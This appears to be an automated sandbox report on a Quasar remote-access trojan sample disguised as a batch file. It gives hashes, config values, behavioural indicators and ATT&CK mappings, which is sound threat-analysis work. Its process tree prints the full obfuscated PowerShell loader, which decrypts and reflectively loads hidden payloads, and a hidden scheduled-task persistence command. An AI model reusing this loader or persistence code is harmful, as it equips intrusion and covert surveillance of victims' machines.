quasar | 45ef6e4f80f8619585cb239d12cc89dddff3cc158600fdf33fc4834b1f8b49a6

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
19/10/2025, 16:32

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General

Target
jfqca_Pulsar-Client.bat
Size 867KB
Sample251019-t16wqabl8v
SHA256 45ef6e4f80f8619585cb239d12cc89dddff3cc158600fdf33fc4834b1f8b49a6
MD5 f0e77390c4f252b0f558535bb81e21e9
SHA1 702452628ecaae717dfe273319dc8de15217f50f
SHA512 c6a4856f96ee79a25a84636ed9462f7c843351904c2a61887f3daef03000b3e498da798c3b09f40a396565336c6b1b534b4912e49efb8cb445d0d78c8f69dd79
SSDEEP 24576:XjnbkNZ+aIwWmW0cN8AEy/yL/EccSILwXoJ:X3wZRxW78zynJ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution quasar spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
8FC8AEB39474756E1CA6DDD3F39D248A13B96C29
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/4928-38-0x000002882DDB0000-0x000002882DF36000-memory.dmp	family_quasar

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4928	powershell.exe
4	4928	powershell.exe
6	4928	powershell.exe
8	4928	powershell.exe
11	4928	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3012	powershell.exe
3056	powershell.exe
4928	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1644934582-3155071241-5924616-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4928	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3012	powershell.exe
3012	powershell.exe
3056	powershell.exe
3056	powershell.exe
4928	powershell.exe
4928	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeIncreaseQuotaPrivilege	3056	powershell.exe
Token: SeSecurityPrivilege	3056	powershell.exe
Token: SeTakeOwnershipPrivilege	3056	powershell.exe
Token: SeLoadDriverPrivilege	3056	powershell.exe
Token: SeSystemProfilePrivilege	3056	powershell.exe
Token: SeSystemtimePrivilege	3056	powershell.exe
Token: SeProfSingleProcessPrivilege	3056	powershell.exe
Token: SeIncBasePriorityPrivilege	3056	powershell.exe
Token: SeCreatePagefilePrivilege	3056	powershell.exe
Token: SeBackupPrivilege	3056	powershell.exe
Token: SeRestorePrivilege	3056	powershell.exe
Token: SeShutdownPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeSystemEnvironmentPrivilege	3056	powershell.exe
Token: SeRemoteShutdownPrivilege	3056	powershell.exe
Token: SeUndockPrivilege	3056	powershell.exe
Token: SeManageVolumePrivilege	3056	powershell.exe
Token: 33	3056	powershell.exe
Token: 34	3056	powershell.exe
Token: 35	3056	powershell.exe
Token: 36	3056	powershell.exe
Token: SeIncreaseQuotaPrivilege	3056	powershell.exe
Token: SeSecurityPrivilege	3056	powershell.exe
Token: SeTakeOwnershipPrivilege	3056	powershell.exe
Token: SeLoadDriverPrivilege	3056	powershell.exe
Token: SeSystemProfilePrivilege	3056	powershell.exe
Token: SeSystemtimePrivilege	3056	powershell.exe
Token: SeProfSingleProcessPrivilege	3056	powershell.exe
Token: SeIncBasePriorityPrivilege	3056	powershell.exe
Token: SeCreatePagefilePrivilege	3056	powershell.exe
Token: SeBackupPrivilege	3056	powershell.exe
Token: SeRestorePrivilege	3056	powershell.exe
Token: SeShutdownPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeSystemEnvironmentPrivilege	3056	powershell.exe
Token: SeRemoteShutdownPrivilege	3056	powershell.exe
Token: SeUndockPrivilege	3056	powershell.exe
Token: SeManageVolumePrivilege	3056	powershell.exe
Token: 33	3056	powershell.exe
Token: 34	3056	powershell.exe
Token: 35	3056	powershell.exe
Token: 36	3056	powershell.exe
Token: SeIncreaseQuotaPrivilege	3056	powershell.exe
Token: SeSecurityPrivilege	3056	powershell.exe
Token: SeTakeOwnershipPrivilege	3056	powershell.exe
Token: SeLoadDriverPrivilege	3056	powershell.exe
Token: SeSystemProfilePrivilege	3056	powershell.exe
Token: SeSystemtimePrivilege	3056	powershell.exe
Token: SeProfSingleProcessPrivilege	3056	powershell.exe
Token: SeIncBasePriorityPrivilege	3056	powershell.exe
Token: SeCreatePagefilePrivilege	3056	powershell.exe
Token: SeBackupPrivilege	3056	powershell.exe
Token: SeRestorePrivilege	3056	powershell.exe
Token: SeShutdownPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeSystemEnvironmentPrivilege	3056	powershell.exe
Token: SeRemoteShutdownPrivilege	3056	powershell.exe
Token: SeUndockPrivilege	3056	powershell.exe
Token: SeManageVolumePrivilege	3056	powershell.exe
Token: 33	3056	powershell.exe
Token: 34	3056	powershell.exe
Token: 35	3056	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4000 wrote to memory of 3012	4000	cmd.exe	80
PID 4000 wrote to memory of 3012	4000	cmd.exe	80
PID 3012 wrote to memory of 3056	3012	powershell.exe	82
PID 3012 wrote to memory of 3056	3012	powershell.exe	82
PID 3012 wrote to memory of 4940	3012	powershell.exe	84
PID 3012 wrote to memory of 4940	3012	powershell.exe	84
PID 4940 wrote to memory of 4368	4940	WScript.exe	85
PID 4940 wrote to memory of 4368	4940	WScript.exe	85
PID 4368 wrote to memory of 4928	4368	cmd.exe	87
PID 4368 wrote to memory of 4928	4368	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jfqca_Pulsar-Client.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4ROHjGMRq4q6ZG62Vzpl+4IMCB7e9TIqz8mNf1Af48k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fOrXOQyw2sl3g91+9EpM+w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $toIgN=New-Object System.IO.MemoryStream(,$param_var); $JFFmH=New-Object System.IO.MemoryStream; $mvxaH=New-Object System.IO.Compression.GZipStream($toIgN, [IO.Compression.CompressionMode]::Decompress); $mvxaH.CopyTo($JFFmH); $mvxaH.Dispose(); $toIgN.Dispose(); $JFFmH.Dispose(); $JFFmH.ToArray();}function execute_function($param_var,$param2_var){ $gwsJT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZUhGK=$gwsJT.EntryPoint; $ZUhGK.Invoke($null, $param2_var);}$ayuKa = 'C:\Users\Admin\AppData\Local\Temp\jfqca_Pulsar-Client.bat';$host.UI.RawUI.WindowTitle = $ayuKa;$Uqovr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ayuKa).Split([Environment]::NewLine);foreach ($HIaLw in $Uqovr) { if ($HIaLw.StartsWith(':: ')) { $GesnP=$HIaLw.Substring(3); break; }}$payloads_var=[string[]]$GesnP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_971_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_971.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3056
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_971.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4940
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_971.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4368
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4ROHjGMRq4q6ZG62Vzpl+4IMCB7e9TIqz8mNf1Af48k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fOrXOQyw2sl3g91+9EpM+w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $toIgN=New-Object System.IO.MemoryStream(,$param_var); $JFFmH=New-Object System.IO.MemoryStream; $mvxaH=New-Object System.IO.Compression.GZipStream($toIgN, [IO.Compression.CompressionMode]::Decompress); $mvxaH.CopyTo($JFFmH); $mvxaH.Dispose(); $toIgN.Dispose(); $JFFmH.Dispose(); $JFFmH.ToArray();}function execute_function($param_var,$param2_var){ $gwsJT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZUhGK=$gwsJT.EntryPoint; $ZUhGK.Invoke($null, $param2_var);}$ayuKa = 'C:\Users\Admin\AppData\Roaming\startup_str_971.bat';$host.UI.RawUI.WindowTitle = $ayuKa;$Uqovr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ayuKa).Split([Environment]::NewLine);foreach ($HIaLw in $Uqovr) { if ($HIaLw.StartsWith(':: ')) { $GesnP=$HIaLw.Substring(3); break; }}$payloads_var=[string[]]$GesnP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        
        PID:4928

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
MD5 df472dcddb36aa24247f8c8d8a517bd7
SHA1 6f54967355e507294cbc86662a6fbeedac9d7030
SHA512 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6d266b3c94b03d8ed8648328f707c58177b2075c963aff4cbe6576d93df518b8
MD5 824da05d0f31c23ab953467d7a3812f7
SHA1 48349c5986cb56777bf77e747eafbc2f87dfc2c1
SHA512 5c35ada146f86ebaefc96d82f7176f7ccabf179a5297b04fb7f56a88cb6a8a1b1bb159b04599cf8f581f49a08137530aa3cc8a1e5c67a383880c6998e84c5367
MD5 SHA1 SHA512

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__PSScriptPolicyTest_ew4t1aqn.wz1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ew4t1aqn.wz1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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startup_str_971.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_971.bat
Size 867KB
SHA256 45ef6e4f80f8619585cb239d12cc89dddff3cc158600fdf33fc4834b1f8b49a6
MD5 f0e77390c4f252b0f558535bb81e21e9
SHA1 702452628ecaae717dfe273319dc8de15217f50f
SHA512 c6a4856f96ee79a25a84636ed9462f7c843351904c2a61887f3daef03000b3e498da798c3b09f40a396565336c6b1b534b4912e49efb8cb445d0d78c8f69dd79
SSDEEP 24576:XjnbkNZ+aIwWmW0cN8AEy/yL/EccSILwXoJ:X3wZRxW78zynJ
MD5 SHA1 SHA512 SSDEEP

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startup_str_971.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_971.vbs
Size 115B
SHA256 3c16307b3501b016b8e9c20d057181db911d03e05f1f0044ce41cb10e3d4a7f6
MD5 20084eb71ec2807d81096bc17a054236
SHA1 80045f8741bc5b0839ed138a66706587327aad0f
SHA512 6f058f98e3ced3aaaaf7138efd5bdf5f1ed360701568bdef5524fe4c35bd922d0afde94d6ff362747e0bdafd6fc3e645617ca1f9735970a6463f6e08db96518e
MD5 SHA1 SHA512

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memory/3012-9-0x000002316A0F0000-0x000002316A100000-memory.dmp

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memory/3012-11-0x000002316A450000-0x000002316A4F4000-memory.dmp

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memory/3012-10-0x000002316A3A0000-0x000002316A3A8000-memory.dmp

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memory/3012-1-0x000002316A0F0000-0x000002316A100000-memory.dmp

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memory/3012-2-0x000002316A100000-0x000002316A122000-memory.dmp

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memory/3012-0-0x000002316A0F0000-0x000002316A100000-memory.dmp

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memory/3056-14-0x000002325F4D0000-0x000002325F4E0000-memory.dmp

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memory/3056-13-0x000002325F4D0000-0x000002325F4E0000-memory.dmp

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memory/4928-38-0x000002882DDB0000-0x000002882DF36000-memory.dmp

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memory/4928-39-0x000002882DA30000-0x000002882DA60000-memory.dmp

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memory/4928-40-0x000002882E220000-0x000002882E258000-memory.dmp

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